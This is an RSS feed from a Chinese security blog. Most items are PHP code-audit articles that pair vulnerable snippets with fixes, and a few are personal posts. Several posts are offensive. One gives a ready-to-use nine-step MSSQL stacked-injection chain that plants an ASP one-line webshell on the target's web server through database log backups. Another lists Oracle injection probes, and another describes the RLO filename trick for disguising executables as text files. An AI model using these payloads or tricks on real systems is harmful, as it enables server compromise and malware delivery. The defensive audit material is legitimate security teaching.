<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>大胆's BLOG</title>
		<link>http://www.xkww.com/</link>
		<description>点滴积累生活</description>
		<copyright>Powered by SaBlog-X. Copyright (C) 2003-2010.</copyright>
		<generator>SaBlog-X Version 2.0 Build 20100301</generator>
		<lastBuildDate>Thu, 09 Feb 2012 07:34:52 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=47</link>
			<guid>http://www.xkww.com/?action=show&amp;id=47</guid>
			<title>php代码审计</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	概述<br />
	代码审核，是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误，避免程序漏洞被非法利用给企业带来不必要的风险。<br />
	代码审核不是简单的检查代码，审核代码的原因是确保代码能安全的做到对信息和资源进行足够的保护，所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。审核人员可以使用类似下面的问题对开发者进行访谈，来收集应用程序信息。<br />
	应用程序中包含什么类型的敏感信息，应用程序怎么保护这些信息的？<br />
	应用程序是对内提供服务，还是对外？哪些人会使用，他们都是可信用户么？<br />
	应用程序部署在哪里？<br />
	&nbsp;</p>
<p><a href="http://www.xkww.com/?action=show&amp;id=47" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=47</link>
			<category domain="http://www.xkww.com/?cid=7">代码审计</category>
			<comments>http://www.xkww.com/?action=show&amp;id=47#comments</comments>
			<pubDate>Wed, 25 May 2011 13:32:14 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=46</link>
			<guid>http://www.xkww.com/?action=show&amp;id=46</guid>
			<title>PHP漏洞中的战争</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	滥用include<br />
	1.漏洞原因：<br />
	Include是编写PHP网站中最常用的函数，并且支持相对路径。有很多PHP脚本直接把某输入变量作为Include的参数，造成任意引用脚本、绝对路径泄露等漏洞。看以下代码：<br />
	...<br />
	$includepage=$_GET[&quot;includepage&quot;];<br />
	include($includepage);<br />
	...<br />
	很明显，我们只需要提交不同的Includepage变量就可以获得想要的页面。如果提交一个不存在的页面，就可以使PHP脚本发生错误而泄露实际绝对路径(这个问题的解决办法在下面的文章有说明)。<br />
	2.漏洞解决：<br />
	这个漏洞的解决很简单，就是先判断页面是否存在再进行Include。或者更严格地，使用数组对可Include的文件作出规定。看以下代码：<br />
	$pagelist=array(&quot;test1.php&quot;,&quot;test2.php&quot;,&quot;test3.php&quot;); //这里规定可进行include的文件<br />
	if(isset($_GET[&quot;includepage&quot;])) //判断是否有$includepage<br />
	{<br />
	$includepage=$_GET[&quot;includepage&quot;];<br />
	foreach($pagelist as $prepage)<br />
	{<br />
	if($includepage==$prepage) //检查文件是否在允许列表中<br />
	{<br />
	include($prepage);<br />
	$checkfind=true;<br />
	break;<br />
	}<br />
	}<br />
	if($checkfind==true){ unset($checkfind); }<br />
	else{ die(&quot;无效引用页！&quot;); }<br />
	}<br />
	这样就可以很好地解决问题了。<br />
	<br />
	小提示：有此问题的函数还有：require()，require_once()，include_once()，readfile()等，在编写的时候也要注意。<br />
	<br />
	未对输入变量进行过滤<br />
	1.漏洞原因：<br />
	这个漏洞早在ASP中出现过，当时造成的注入漏洞不计其数。但由于PHP在当时的影响力较小，所以没有太多的人能够注意这点。对于PHP来说，这个漏洞的影响性比ASP更大，因为有比较多的PHP脚本使用到文本型数据库。当然也存在SQL语句的注入问题。举个比较经典的例子，首先是数据库的：<br />
	$id=$_GET[&quot;id&quot;];<br />
	<br />
	$query=&quot;SELECT * FROM my_table where id=&#39;&quot;.$id.&quot;&#39;&quot;; //很经典的SQL注入漏洞<br />
	$result=mysql_query($query);<br />
	这里很明显我们可以用注入来获得数据库的其它内容了。这里就不再详细叙述，和ASP注入一样的，大家可以看看以前的黑防。然后我们看文本数据库的问题：<br />
	$text1=$_POST[&quot;text1&quot;];<br />
	$text2=$_POST[&quot;text2&quot;];<br />
	$text3=$_POST[&quot;text3&quot;];<br />
	<br />
	$fd=fopen(&quot;test.php&quot;,&quot;a&quot;);<br />
	fwrite($fd,&quot;\r\n$text1&amp;line;$text2&amp;line;$text3&quot;);<br />
	fclose($fd);<br />
	文本的漏洞可以说是更加严重。倘若我们的提交的变量中插入一段很小的PHP代码，就可以另这个文本数据库test.php变成PHP后门。甚至插入上传代码，让我们可以上传一个完善的PHP后门。接着提升权限，服务器就是你的了。<br />
	2.漏洞解决：<br />
	这个漏洞的解决方法其实很简单，就是严格对全部提交的变量进行过滤。对一些敏感的字符进行替换。我们可以借助PHP提供的htmlspecialchars()函数来替换HTML的内容。这里给出一段例子：<br />
	//构造过滤函数<br />
	function flt_tags($text)<br />
	{<br />
	$badwords=array(&quot;操你妈&quot;,&quot;fuck&quot;); //词汇过滤列表<br />
	$text=rtrim($text);<br />
	foreach($badwords as $badword) //这里进行词汇的过滤<br />
	{<br />
	if(stristr($text,$badword)==true){ die(&quot;错误：你提交的内容含有敏感字眼，请不要提交敏感内容。&quot;); }<br />
	}<br />
	$text=htmlspecialchars($text); //HTML替换<br />
	//这两行把回车替换为&lt;br&gt;<br />
	$text=str_replace(&quot;\r&quot;,&quot;&lt;br&gt;&quot;,$text);<br />
	$text=str_replace(&quot;\n&quot;,&quot;&quot;,$text);<br />
	$text=str_replace(&quot;&amp;line;&quot;,&quot;│&quot;,$text); //文本数据库分隔符&quot;&amp;line;&quot;替换为全角的&quot;│&quot;<br />
	$text=preg_replace(&quot;/\s{ 2 }/&quot;,&quot; &quot;,$text); //空格替换<br />
	$text=preg_replace(&quot;/\t/&quot;,&quot; &quot;,$text); //还是空格替换<br />
	if(get_magic_quotes_gpc()){ $text=stripslashes($text); } //如果magic_quotes开启，则进行\&#39;的替换<br />
	return $text;<br />
	}<br />
	<br />
	$text1=$_POST[&quot;text1&quot;];<br />
	$text2=$_POST[&quot;text2&quot;];<br />
	$text3=$_POST[&quot;text3&quot;];<br />
	<br />
	//过滤全部输入<br />
	$text1=flt_tags($text1);<br />
	$text2=flt_tags($text2);<br />
	$text3=flt_tags($text3);<br />
	<br />
	$fd=fopen(&quot;test.php&quot;,&quot;a&quot;);<br />
	fwrite($fd,&quot;\r\n$text1&amp;line;$text2&amp;line;$text3&quot;);<br />
	fclose($fd);<br />
	经过一番替换和过滤后，你就可以安全地把数据写入文本或数据库了。<br />
	<br />
	管理员判断不完全<br />
	1.漏洞原因：<br />
	我们用PHP写脚本，通常要涉及管理员的权限问题。而一些脚本仅仅对管理员权限作出&quot;是&quot;判断，而往往忽略了&quot;否&quot;判断。在PHP配置文件中register_globals打开的情况下（4.2.0以后版本默认关闭，但有不少人为了方便而打开它，这是极度危险的行为），就会出现提交变量冒充管理员的情况。我们看一下的例子代码：<br />
	$cookiesign=&quot;admincookiesign&quot;; //判断是否Admin的cookie变量<br />
	$adminsign=$_COOKIE[&quot;sign&quot;]; //获取用户的cookie变量<br />
	<br />
	if($adminsign==$cookiesign)<br />
	{<br />
	$admin=true;<br />
	}<br />
	<br />
	if($admin){ echo &quot;现在是管理员状态。&quot;; }<br />
	看上去好像很安全的样子，呵呵。现在我们假设PHP配置文件中register_globals为打开状态。我们提交这样一个地址&ldquo;test.php?admin=true&rdquo;，结果看到了吗？我们虽然没有正确的Cookie，但由于register_globals为打开状态，使得我们提交的admin变量自动注册为true。而且脚本缺少&ldquo;否&rdquo;判断，就使得我们顺利地通过admin=true取得管理员的权限了。这个问题存在于大部分网站和论坛当中。<br />
	2.漏洞解决：<br />
	解决这个问题，我们只需要在脚本中加入对管理员的&ldquo;否&rdquo;判断即可。我们仍然假设PHP配置文件中register_globals为打开状态。看一下的代码：<br />
	$cookiesign=&quot;admincookiesign&quot;; //判断是否Admin的cookie变量<br />
	$adminsign=$_COOKIE[&quot;sign&quot;]; //获取用户的cookie变量<br />
	<br />
	if($adminsign==$cookiesign)<br />
	{<br />
	$admin=true;<br />
	}<br />
	else<br />
	{<br />
	$admin=false;<br />
	}<br />
	if($admin){ echo &quot;现在是管理员状态。&quot;; }<br />
	这样，就算攻击者在没有正确Cookie的情况下提交了admin=true的变量，脚本在以后的判断中也会把$admin设置为False。这样就解决了部分的问题。但由于$admin是变量，倘若在以后的其他脚本引用中出现了漏洞使得$admin被重新赋值就会引发新的危机。因此，我们应该使用常量来存放管理员权限的判定。使用Define()语句定义一个admin常量来记录管理员权限，在此以后若配重新赋值就会出错，达到保护的目的。看以下代码：<br />
	$cookiesign=&quot;admincookiesign&quot;; //判断是否Admin的cookie变量<br />
	$adminsign=$_COOKIE[&quot;sign&quot;]; //获取用户的cookie变量<br />
	<br />
	if($adminsign==$cookiesign)<br />
	{<br />
	define(admin,true);<br />
	}<br />
	else<br />
	{<br />
	define(admin,false);<br />
	}<br />
	if(admin){ echo &quot;现在是管理员状态。&quot;; }<br />
	值得注意的是，我们使用了Define语句，所以在调用Admin常量时前面不要习惯性的加变量符号$，而应该使用Admin和!admin。<br />
	<br />
	文本数据库暴露<br />
	1.漏洞原因：<br />
	前面已经说过，由于文本数据库具有很大的灵活性，不需要任何外部支持。加上PHP对文件的处理能力十分强，因此文本数据库在PHP脚本中的应用甚广。甚至有几个很好的论坛程序就是使用文本数据库的。但有得必有失，文本数据库的安全性也是比其他数据库要低的。<br />
	2.漏洞解决：<br />
	文本数据库作为一个普通的文件，它可以被下载，就像MDB一样。所以我们要用保护MDB的办法来保护文本数据库。把文本数据库的后缀名改为.PHP。并在数据库的第一行加入&lt;?exit;?&gt;。这样文本数据库就会作为一个PHP文件，并且在第一行退出执行。也就是返回一个空页面，从而达到保护文本数据库的目的。<br />
	<br />
	错误路径泄露<br />
	1.漏洞原因：<br />
	PHP遇到错误时，就会给出出错脚本的位置、行数和原因，例如：<br />
	Notice: Use of undefined constant test - assumed &#39;test&#39; in D:\interpub\bigfly\test.php on line 3<br />
	有很多人说，这并没有什么大不了。但泄露了实际路径的后果是不堪设想的，对于某些入侵者，这个信息可是非常重要，而事实上现在有很多的服务器都存在这个问题。<br />
	有些网管干脆把PHP配置文件中的display_errors设置为Off来解决，但本人认为这个方法过于消极。有些时候，我们的确需要PHP返回错误的信息以便调试。而且在出错时也可能需要给用户一个交待，甚至导航到另一页面。<br />
	2.漏洞解决：<br />
	PHP从4.1.0开始提供了自定义错误处理句柄的功能函数set_error_handler()，但很少数脚本编写者知道。在众多的PHP论坛中，我只看见很少一部分对此情况进行了处理。set_error_handler的使用方法如下：<br />
	string set_error_handler ( callback error_handler [, int error_types])<br />
	现在我们就用自定义的错误处理把实际路径过滤掉。<br />
	//admin为管理员的身份判定，true为管理员。<br />
	//自定义的错误处理函数一定要有这４个输入变量$errno,$errstr,$errfile,$errline，否则无效。<br />
	function my_error_handler($errno,$errstr,$errfile,$errline)<br />
	{<br />
	//如果不是管理员就过滤实际路径<br />
	if(!admin)<br />
	{<br />
	$errfile=str_replace(getcwd(),&quot;&quot;,$errfile);<br />
	$errstr=str_replace(getcwd(),&quot;&quot;,$errstr);<br />
	}<br />
	<br />
	switch($errno)<br />
	{<br />
	case E_ERROR:<br />
	echo &quot;ERROR: [ID $errno] $errstr (Line: $errline of $errfile)&lt;br&gt;\n&quot;;<br />
	echo &quot;&lt;b&gt;程序已经停止运行，请联系管理员。&lt;/b&gt;&quot;;<br />
	//遇到Error级错误时退出脚本<br />
	exit;<br />
	break;<br />
	<br />
	case E_WARNING:<br />
	echo &quot;WARNING: [ID $errno] $errstr (Line: $errline of $errfile)&lt;br&gt;\n&quot;;<br />
	break;<br />
	<br />
	default:<br />
	//不显示Notice级的错误<br />
	break;<br />
	}<br />
	}<br />
	<br />
	//把错误处理设置为my_error_handler函数<br />
	set_error_handler(&quot;my_error_handler&quot;);<br />
	&hellip;<br />
	这样，就可以很好地解决安全和调试方便的矛盾了。而且你还可以花点心思，使错误提示更加美观以配合网站的风格。不过注意两点是：<br />
	（1）E_ERROR、E_PARSE、E_CORE_ERROR、E_CORE_WARNING、E_COMPILE_ERROR、E_COMPILE_WARNING是不会被这个句柄处理的，也就是会用最原始的方式显示出来。不过出现这些错误都是编译或PHP内核出错，在通常情况下不会发生。<br />
	（2）使用set_error_handler()后，error_reporting ()将会失效。也就是所有的错误（除上述的错误）都会交给自定义的函数处理。<br />
	其它有关于set_error_handler()的信息，大家可以参考PHP的官方手册。<br />
	<br />
	POST漏洞<br />
	1.漏洞原因：<br />
	前面已经说过，依靠register_globals来注册变量是个不好的习惯。在一些留言本和论坛程序中，更要严格检查获得页面的方式和提交的时间间隔。以防止灌水式发帖和外部提交。我们看一下以下某留言本程序的代码：<br />
	...<br />
	$text1=flt_tags($text1);<br />
	$text2=flt_tags($text2);<br />
	$text3=flt_tags($text3);<br />
	<br />
	$fd=fopen(&quot;data.php&quot;,&quot;a&quot;);<br />
	fwrite($fd,&quot;\r\n$text1&amp;line;$text2&amp;line;$text3&quot;);<br />
	fclose($fd);<br />
	...<br />
	很明显的，如果我们提交网址&rdquo;post.php?text1=testhaha&amp;text2=testhaha&amp;text3=testhaha&rdquo;。数据就会被正常写入文件中。此程序并没有检测变量的来源和浏览器获得页面的方式。如果我们向这个页面重复多次提交，就会起到洪水的作用。现在也有一些软件利用这个漏洞来在论坛或留言本上发广告，这是可耻的行为（我朋友的留言本就在1星期内被灌了10多页，无奈）。<br />
	2.漏洞解决：<br />
	在进行数据处理和保存前，首先判断浏览器的获得页面方式。使用$_SERVER[&quot;REQUEST_METHOD&quot;]变量来获得浏览器的获得页面方式。检查其是否为&rdquo;POST&rdquo;。在脚本中使用session来记录用户是否通过正常途径（即填写提交内容的页面）来提交数据。或使用$_SERVER[&quot;HTTP_REFERER&quot;]来检测，但不推荐这样做。因为部分浏览器没有设置REFERER，有部分防火墙也会屏蔽REFERER。另外，我们也要对提交内容检查，看数据库中是否有重复内容。以留言本为例，使用Session进行判定：<br />
	填写浏览内容的页面中，我们在最前端加上：<br />
	$_SESSION[&quot;allowgbookpost&quot;]=time(); //登记填写时的时间<br />
	在接受留言数据并保存的页面中我们在进行数据处理前我们也用Session进行以下处理：<br />
	if(strtoupper($_SERVER[&quot;REQUEST_METHOD&quot;])!=&rdquo;POST&rdquo;){ die(&quot;错误：请勿在外部提交。&quot;); } //检查页面获得方法是否为POST<br />
	if(!isset($_SESSION[&quot;allowgbookpost&quot;]) or (time()-$_SESSION[&quot;allowgbookpost&quot;] &lt; 10)){ die(&quot;错误：请勿在外部提交。&quot;); } //检查留言填写时的时间<br />
	if(isset($_SESSION[&quot;gbookposttime&quot;]) and (time()-$_SESSION[&quot;gbookposttime&quot;] &lt; 120)){ die(&quot;错误：两次提交留言的间隔不得少于 2 分钟。&quot;); } //检查留言间隔<br />
	<br />
	unset($_SESSION[&quot;allowgbookpost&quot;]); //注销allowgbookpost变量以防止一次进入填写页面多次进行提交<br />
	$_SESSION[&quot;gbookposttime&quot;]=time(); //登记发送留言的时间，防止灌水或恶意攻击<br />
	...<br />
	数据处理及保存<br />
	...<br />
	经过这样重重审查，你的程序就安全很多了。<br />
	&nbsp;</p>
]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=46</link>
			<category domain="http://www.xkww.com/?cid=7">代码审计</category>
			<comments>http://www.xkww.com/?action=show&amp;id=46#comments</comments>
			<pubDate>Tue, 03 May 2011 17:48:10 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=45</link>
			<guid>http://www.xkww.com/?action=show&amp;id=45</guid>
			<title>Apache和Nginx下禁止访问特定的目录或文件</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	大家是否测试Apache做了目录禁止浏览后，目录下面的txt文件还是可以显示里面的内容的。<br />
	例如：http://www.domain.com/test/此访问会报403错误，但是如果test下有很多txt，你访问该txt时；<br />
	例如：<font color="#206b9f">http://www.domain.com/test/a.txt</font>，此时a.txt里的内容会全部暴露在外面了（有时这个txt是很机密的文件），这样以来就不安全了。<br />
	同样：我在Nginx配置后后也存在这样的问题，Apache下此问题的解决多谢NetSeek帮助。<br />
	如下是关于Apache和Nginx 限制该类事情办法：<br />
	&nbsp;</p>
<p><a href="http://www.xkww.com/?action=show&amp;id=45" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=45</link>
			<category domain="http://www.xkww.com/?cid=2">网络安全</category>
			<pubDate>Tue, 05 Apr 2011 21:23:27 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=44</link>
			<guid>http://www.xkww.com/?action=show&amp;id=44</guid>
			<title>MSSQL2005差异备份拿shell (MSSQL2005 Backup Get Shell)</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	第一步<br />
	;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--<br />
	第二步：<br />
	;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--<br />
	第三步<br />
	;drop/**/table/**/[itpro]--<br />
	第四步<br />
	;create/**/table/**/[itpro]([a]/**/image)--<br />
	第五步<br />
	;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--<br />
	第六步<br />
	;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--<br />
	第七步<br />
	;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--<br />
	第八步<br />
	;drop/**/table/**/[itpro]--<br />
	第九步<br />
	;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中红色的&ldquo;Hospital&rdquo;既是数据库名，这个要根据自己的情况来修改，然后黄色的&ldquo;0x3C25657865637574652872657175657374282261222929253EDA&rdquo;是一句话&ldquo;&lt;%eval request(&quot;a&quot;)%&gt;&rdquo;的内容，橙色的&ldquo;0x65003A005C007700650062005C007A002E00610073007000&rdquo;为备份的路径&ldquo;e:\web\z.asp&rdquo;，都是使用的SQL_En的格式，另外第三步大可以不需要！他是删除itpro的表，如果第一次的话这个表是不存在的，就会提示无权限的信息。另外在语句&ldquo;disk=@d&rdquo;的地方可以将&ldquo;=&rdquo;更换成&ldquo;%3D&rdquo;，就是使用URL编码。&ldquo;/**/&rdquo;就等于空格了，这个大家在学习注入的过程中应该了解，也可以更换成&ldquo;%20&rdquo;。<br />
	&nbsp;</p>
]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=44</link>
			<category domain="http://www.xkww.com/?cid=2">网络安全</category>
			<pubDate>Sun, 27 Mar 2011 17:14:55 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=43</link>
			<guid>http://www.xkww.com/?action=show&amp;id=43</guid>
			<title>如何在php中修补XSS漏洞</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	章作者：Langy<br />
	译文作者：riusksk<br />
	&nbsp;</p>
<div>
	在PHP中修补XSS漏洞，我们可以使用三个PHP函数。<br />
	这些函数主要用于清除HTML标志，这样就没办法注入代码了。使用更多的函数是htmlspecialchars() ，它可以将所有的&quot;&lt;&quot;与&quot;&gt;&quot;符号转换成&quot;&amp;lt;&quot; 与&quot;&amp;gt；&quot;。其它可供选择的函数还有htmlentities(), 它可以用相应的字符实体（entities）替换掉所有想要替换掉的特征码（characters）。<br />
	PHP Code:</div>
<div>
	&nbsp;</div>
<div>
	<pre class="brush:php;">
	&lt;?
// 这里的代码主要用于展示这两个函数之间输出的不同
$input = &#39;&lt;script&gt;alert(1);&lt;/script&gt;&#39;;
echo htmlspecialchars($input) . &#39;&lt;br /&gt;&#39;;
echo htmlentities($input);
?&gt;</pre>
	<p>
		htmlentities()的另一个例子</p>
</div>
<p><a href="http://www.xkww.com/?action=show&amp;id=43" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=43</link>
			<category domain="http://www.xkww.com/?cid=7">代码审计</category>
			<comments>http://www.xkww.com/?action=show&amp;id=43#comments</comments>
			<pubDate>Wed, 16 Mar 2011 16:51:23 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=42</link>
			<guid>http://www.xkww.com/?action=show&amp;id=42</guid>
			<title>php安全之谜</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	php安全之谜(PHP Undergroud Security)</p>
<p>
	..........</p>
<p><a href="http://www.xkww.com/?action=show&amp;id=42" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=42</link>
			<category domain="http://www.xkww.com/?cid=7">代码审计</category>
			<pubDate>Wed, 16 Mar 2011 16:49:31 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=41</link>
			<guid>http://www.xkww.com/?action=show&amp;id=41</guid>
			<title>php代码安全</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	规则 1：绝不要信任外部数据或输入</p>
<p>
	关于 Web 应用程序安全性，必须认识到的第一件事是不应该信任外部数据。外部数据（outside data） 包括不是由程序员在 PHP 代码中直接输入的任何数据。在采取措施确保安全之前，来自任何其他来源（比如 GET 变量、表单 POST、数据库、配置文件、会话变量或 cookie）的任何数据都是不可信任的。 例如，下面的数据元素可以被认为是安全的，因为它们是在 PHP 中设置的。</p>
<div>
	<br />
	清单 1. 安全无暇的代码</div>
<div>
	<pre class="brush:php;">
	&lt;?php
$myUsername = &#39;tmyer&#39;;
$arrayUsers = array(&#39;tmyer&#39;, &#39;tom&#39;, &#39;tommy&#39;);
define(&quot;GREETING&quot;, &#39;hello there&#39; . $myUsername);
?&gt;</pre>
	<p>
		&nbsp;</p>
	<p>
		但是，下面的数据元素都是有瑕疵的。</p>
</div>
<p><a href="http://www.xkww.com/?action=show&amp;id=41" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=41</link>
			<category domain="http://www.xkww.com/?cid=7">代码审计</category>
			<pubDate>Wed, 16 Mar 2011 16:41:22 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=38</link>
			<guid>http://www.xkww.com/?action=show&amp;id=38</guid>
			<title>oracle 注射方法！</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	判断是否为Oralce数据库:<br />
	<br />
	And 0&lt;&gt;(select count(*) from dual) 返回正常页面表示为Oracle数据库<br />
	<br />
	猜解字段数量:<br />
	使用order by 或者group by逐个提交数字 知道回显错误页面<br />
	<br />
	列出字段数目 比如6个字段数目<br />
	<br />
	and 1=1 null,null,null,null,null,null from dual-<br />
	.............</p>
<p><a href="http://www.xkww.com/?action=show&amp;id=38" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=38</link>
			<category domain="http://www.xkww.com/?cid=2">网络安全</category>
			<comments>http://www.xkww.com/?action=show&amp;id=38#comments</comments>
			<pubDate>Sat, 30 Oct 2010 17:16:17 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=37</link>
			<guid>http://www.xkww.com/?action=show&amp;id=37</guid>
			<title>端午节~蛮高兴的</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	工作上有了很大的进展！晚上去吃了小龙虾哈哈果然不错。顺便去电影院看了看波斯王子。一个粽子也没吃 遗憾了。</p>
]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=37</link>
			<category domain="http://www.xkww.com/?cid=1">个人生活</category>
			<pubDate>Wed, 16 Jun 2010 23:26:35 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=36</link>
			<guid>http://www.xkww.com/?action=show&amp;id=36</guid>
			<title>那个win系统编码导致的0DAY</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	对准一个exe-右键重命名-选插入unicode字符-rlo，然后改名成exe.txt，这个txt后缀一样执行exe</p>
<p>
	其实还是exe</p>
]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=36</link>
			<category domain="http://www.xkww.com/?cid=2">网络安全</category>
			<pubDate>Sat, 12 Jun 2010 12:22:36 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=35</link>
			<guid>http://www.xkww.com/?action=show&amp;id=35</guid>
			<title>金山网盾KAVSafe.sys驱动本地内核权限提升漏洞 Kingsoft WebShield KAVSafe.sys IOCTL Handling Memory Corruption</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	<strong>受影响系统：</strong></p>
<blockquote>
	Kingsoft Corp Web Shield &lt;= 3.5.1.2</blockquote>
<p>
	<b>描述：</b></p>
<hr />
<p>
	&nbsp;</p>
<p>
	金山网盾是一款非常流行的免费浏览器安全防护软件。<br />
	<br />
	金山网盾所使用的Kavsafe.sys内核驱动创建名为\Device\KAVSafe的设备并处理DeviceIoControl请求IoControlCode = 0x830020d4，这允许本地用户通过提交恶意IOCTL请求覆盖任意内核模块数据，导致执行任意内核态代码。<br />
	<br />
	&lt;*来源：Xuanyuan Smart<br />
	&nbsp;&nbsp;<br />
	&nbsp;&nbsp;链接：<a href="http://www.exploit-db.com/exploits/12710" target="_blank">http://www.exploit-db.com/exploits/12710</a><br />
	*&gt;<br />
	<br />
	<b>测试方法：</b></p>
<p><a href="http://www.xkww.com/?action=show&amp;id=35" target="_blank">阅读全文</a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=35</link>
			<category domain="http://www.xkww.com/?cid=2">网络安全</category>
			<pubDate>Tue, 25 May 2010 15:42:58 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=34</link>
			<guid>http://www.xkww.com/?action=show&amp;id=34</guid>
			<title>关于金山网盾干扰360安全卫士运行的说明</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	<font size="3">金山网盾存在恶意干扰360安全卫士网页防火墙运行等多项问题，导致电脑防护出现漏洞，面临木马盗号偷隐私的威胁。与金山公司多次沟通后无果。360安全中心决定放弃与金山网盾兼容共存的努力。具体说明请见：</font></p>
<p>
	<a href="http://bbs.360.cn/4037881/37115176.html?recommend=1">http://bbs.360.cn/4037881/37115176.html?recommend=1</a></p>
<p>
	<strong>铁证如山：金山网盾如何破坏360安全卫士的防护能力（请用IE浏览器测试。为防止测试用户电脑中招，测试链接以钓鱼诈骗网站为主）</strong><br />
	<a href="http://bbs.360.cn/3229787/37135842.html">http://bbs.360.cn/3229787/37135842.html</a></p>
]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=34</link>
			<category domain="http://www.xkww.com/?cid=6">杂七杂八</category>
			<pubDate>Tue, 25 May 2010 15:37:35 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=33</link>
			<guid>http://www.xkww.com/?action=show&amp;id=33</guid>
			<title>这种诠释生命轮回的方法很经典！</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	I LIKE !</p>
<p><strong>460.png</strong><br /><a href="http://www.xkww.com/attachment.php?id=45" target="_blank"><img src="http://www.xkww.com/attachments/date_201005/e6cedd851e6484ef72b9f7680ab6aa7d.png" border="0" alt="460.png&#13;&#13;大小: 399.39 K&#13;尺寸: 441 x 410&#13;浏览: 68 次&#13;点击打开新窗口浏览全图" width="441" height="410" /></a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=33</link>
			<category domain="http://www.xkww.com/?cid=1">个人生活</category>
			<pubDate>Mon, 24 May 2010 17:55:44 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=32</link>
			<guid>http://www.xkww.com/?action=show&amp;id=32</guid>
			<title>当你被一群浪人围观，你会怎么办？</title>
			<author>root@xkww.com(大胆)</author>
			<description><![CDATA[大胆's BLOG ( http://www.xkww.com/ ) : <p>
	比较经典！</p>
<p><strong>460.jpg</strong><br /><a href="http://www.xkww.com/attachment.php?id=44" target="_blank"><img src="http://www.xkww.com/attachments/date_201005/2dfcbbbf19e4ca6d2aff0cdb1acb5203.jpg" border="0" alt="460.jpg&#13;&#13;大小: 30.21 K&#13;尺寸: 354 x 280&#13;浏览: 16 次&#13;点击打开新窗口浏览全图" width="354" height="280" /></a></p>]]></description>
			<link>http://www.xkww.com/?action=show&amp;id=32</link>
			<category domain="http://www.xkww.com/?cid=6">杂七杂八</category>
			<pubDate>Wed, 19 May 2010 22:20:00 +0000</pubDate>
		</item>
		<item>
			<link>http://www.xkww.com/?action=show&amp;id=30</link>
			<guid>http://www.xkww.com/?action=show&amp;id=30</guid>
			<title>剩女是怎样炼成的</title>
			<author>root@xkww.com(大胆)</author>
